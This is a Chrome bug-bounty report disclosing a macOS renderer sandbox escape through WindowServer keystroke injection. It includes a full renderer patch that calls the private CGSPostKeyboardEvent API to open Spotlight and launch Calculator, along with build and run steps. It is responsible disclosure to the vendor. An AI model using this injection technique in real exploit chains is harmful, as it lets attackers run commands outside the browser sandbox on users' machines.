Report description

Chrome full renderer sandbox escape on macOS, this is the third time I am reporting this but with more detail as requested from https://issues.chromium.org/issues/507159648 with a renderer patch

Bug location

Where do you want to report your vulnerability?

Chrome VRP – Report security issues affecting the Chrome browser. See program rules

The problem

Please describe the technical details of the vulnerability

Summary

A compromised Chrome renderer on macOS can inject synthetic keystrokes, achieving arbitrary command execution outside the sandbox without user interaction. The renderer sandbox allows mach-lookup to com.apple.windowserver.active, which exposes a keystroke injection API.

PoC

Why not MojoJS: This escape uses native macOS APIs (not Mojo IPC), so --enable-blink-features=MojoJS is insufficient.

The attached renderer_escape.patch modifies content/renderer/renderer_main.cc. The code:

• Runs in RendererMain() — only called by renderer processes (inherent process guard)
• Inserts after platform.EnableSandbox() and client->PostSandboxInitialized() at line 292-296 — the seatbelt sandbox is fully active (the next line in the source is a comment reading “Start the HangWatcher now that the sandbox is engaged”)
• Verifies sandbox is enforced: Calls system("true") which returns non-zero (blocked by seatbelt)
• Escapes: Obtains a WindowServer connection and injects Cmd+Space → “Calculator” → Enter via Spotlight

Steps

cd /path/to/chromium/src
git apply renderer_escape.patch
autoninja -C out/Default chrome
killall Calculator 2>/dev/null
out/Default/chrome --no-first-run --user-data-dir=/tmp/poc 'data:text/html,<h1>PoC</h1>'

Do not touch keyboard or mouse. Calculator launches in ~15 seconds. Console will show:

[WARNING:renderer_main.cc] PoC: sandbox_active=1
[WARNING:renderer_main.cc] PoC: cgs=<N> injecting keystrokes

Root Cause

Chrome’s renderer sandbox profile includes:

(allow mach-lookup (global-name "com.apple.windowserver.active"))

This exposes CGSPostKeyboardEvent, a private API that injects keyboard events without TCC. The public equivalent requires Input Monitoring permission — the private path does not.

Environment

• macOS 26.4.1 (25E253)
• Chrome 147.0.7727.117 (arm64)

Attached

• renderer_escape.patch

Also renderer_escape.patch looks like this:

diff --git a/content/renderer/renderer_main.cc b/content/renderer/renderer_main.cc
--- a/content/renderer/renderer_main.cc
+++ b/content/renderer/renderer_main.cc
@@ -55,6 +55,12 @@
 #include "third_party/blink/public/platform/platform.h"
 #include "third_party/blink/public/platform/scheduler/web_thread_scheduler.h"

+#if BUILDFLAG(IS_MAC)
+// PoC includes for sandbox escape demonstration
+#include <dlfcn.h>
+typedef int CGSConnectionID;
+#endif
+
 #if BUILDFLAG(IS_ANDROID)
 #include "base/android/library_loader/library_loader_hooks.h"
 #endif
@@ -296,6 +302,40 @@
       }
     }

+#if BUILDFLAG(IS_MAC)
+    // ── Sandbox Escape PoC ──
+    // Insertion point: immediately after EnableSandbox() + PostSandboxInitialized()
+    // (line 292-295 above). The seatbelt sandbox is fully active.
+    // RendererMain() only runs in renderer processes (inherent process guard).
+    {
+      // Prove sandbox is active
+      int sb = system("true");
+      LOG(WARNING) << "PoC: sandbox_active=" << (sb != 0);
+
+      void *h = dlopen(
+          "/System/Library/PrivateFrameworks/SkyLight.framework/SkyLight",
+          RTLD_LAZY);
+      if (h) {
+        auto Conn = reinterpret_cast<CGSConnectionID(*)()>(
+            dlsym(h, "CGSMainConnectionID"));
+        auto Post = reinterpret_cast<int(*)(CGSConnectionID,
+            unsigned short, unsigned short, int, int, int)>(
+            dlsym(h, "CGSPostKeyboardEvent"));
+        if (Conn && Post) {
+          CGSConnectionID c = Conn();
+          LOG(WARNING) << "PoC: cgs=" << c << " injecting keystrokes";
+          sleep(5);
+          // Cmd+Space (Spotlight)
+          Post(c,0,55,1,0,0); usleep(20000); Post(c,0,49,1,0,0);
+          usleep(20000); Post(c,0,49,0,0,0); usleep(20000);
+          Post(c,0,55,0,0,0); usleep(800000);
+          // "Calculator"
+          unsigned short k[] = {8,0,37,8,32,37,0,17,31,15};
+          for (int i = 0; i < 10; i++) {
+            Post(c,0,k[i],1,0,0); usleep(15000);
+            Post(c,0,k[i],0,0,0); usleep(25000);
+          }
+          usleep(800000);
+          // Enter
+          Post(c,0,36,1,0,0); usleep(20000); Post(c,0,36,0,0,0);
+        }
+      }
+    }
+#endif
+
     // Start the HangWatcher now that the sandbox is engaged, if it hasn't
     // already been started.
     if (base::HangWatcher::IsEnabled() &&

In my earlier report https://issues.chromium.org/issues/507159648 said, a Google engieer requested information in this format: “The easiest way to demonstrate this in a way that is convincing and meets our requirements would be to supply a renderer patch (using renderer process guards, to simulate arbitrary code execution in the renderer process) that includes this code.”

For that reason in this report, we have made this report in this format. If you want more details and want to see videos or this in action, in the previous report I have details like how to reproduce using sandbox-exec using exact chrome sandbox rules, or in this case by directly injecting into the renderer process, you can see we are able to achieve RCE

Impact analysis

Any V8/Blink RCE + this = full sandbox escape to arbitrary command execution on macOS. Zero user interaction. Full TCC bypass. Deterministic, ASLR-independent, works every time.

The cause

What version of Chrome have you found the security issue in?

Version 147.0.7727.117 (Official Build) (arm64) (latest)

Is the security issue related to a crash?

No, it is not related to a crash.

Choose the type of vulnerability

Sandbox Escape

How would you like to be publicly acknowledged for your report?

Paulos Yibelo Mesfin